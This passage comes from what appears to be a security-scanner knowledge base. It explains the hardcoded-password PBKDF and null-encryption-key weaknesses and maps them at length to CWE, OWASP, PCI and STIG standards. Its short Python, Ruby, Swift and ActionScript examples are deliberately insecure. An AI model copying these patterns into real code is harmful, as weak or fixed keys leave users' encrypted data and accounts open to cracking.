[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.php.key_management_hardcoded_pbe_password
Abstract
A hardcoded password is used to generate a key from a password-based key derivation function (PBKDF). Providing a hardcoded password to a PBKDF compromises system security in a way that is not easily remedied.
Explanation
Never pass a hardcoded value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key is based mostly on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the hardcoded password often cannot be changed without patching the software. If an account protected by a derived key based on a hardcoded password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes a hardcoded value as the password argument to a cryptographic PBKDF:


from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', 'password', salt, 100000)
...


Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on a hardcoded password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on a hardcoded password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the hardcoded password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a hardcoded password.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.python.key_management_hardcoded_pbe_password
Abstract
A hardcoded password is used to generate a key from a password-based key derivation function (PBKDF). Providing a hardcoded password to a PBKDF compromises system security in a way that is not easily remedied.
Explanation
Never pass a hardcoded value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key is based mostly on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the hardcoded password often cannot be changed without patching the software. If an account protected by a derived key based on a hardcoded password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes a hardcoded value as the password argument to a cryptographic PBKDF:


...
key = OpenSSL::PKCS5::pbkdf2_hmac('password', salt, 100000, 256, 'SHA256')
...


Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on a hardcoded password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on a hardcoded password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the hardcoded password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a hardcoded password.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.ruby.key_management_hardcoded_pbe_password
Abstract
Generating and using a cryptographic key based on a hardcoded password may compromise system security in a way that is not easy to remedy.
Explanation
Never pass a hardcoded value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key is based mostly on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the hardcoded password often cannot be changed without patching the software. If an account protected by a derived key based on a hardcoded password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes a hardcoded value as the password argument to a cryptographic PBKDF:


...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"secret",
6,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...


Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on a hardcoded password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on a hardcoded password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the hardcoded password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a hardcoded password.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.swift.key_management_hardcoded_pbe_password

Key Management: Null Encryption Key

Abstract
Null encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use a null encryption key because it significantly reduces the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, a software patch is required to change the null encryption key. If an account that is protected by the null encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using a null encryption key:


    ...
    var encryptionKey:ByteArray = null;
    ...
    var aes.ICipher = Crypto.getCipher("aes-cbc", encryptionKey, padding);
    ...


Not only will anyone who has access to the code be able to determine that it uses a null encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the null encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a null encryption key.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
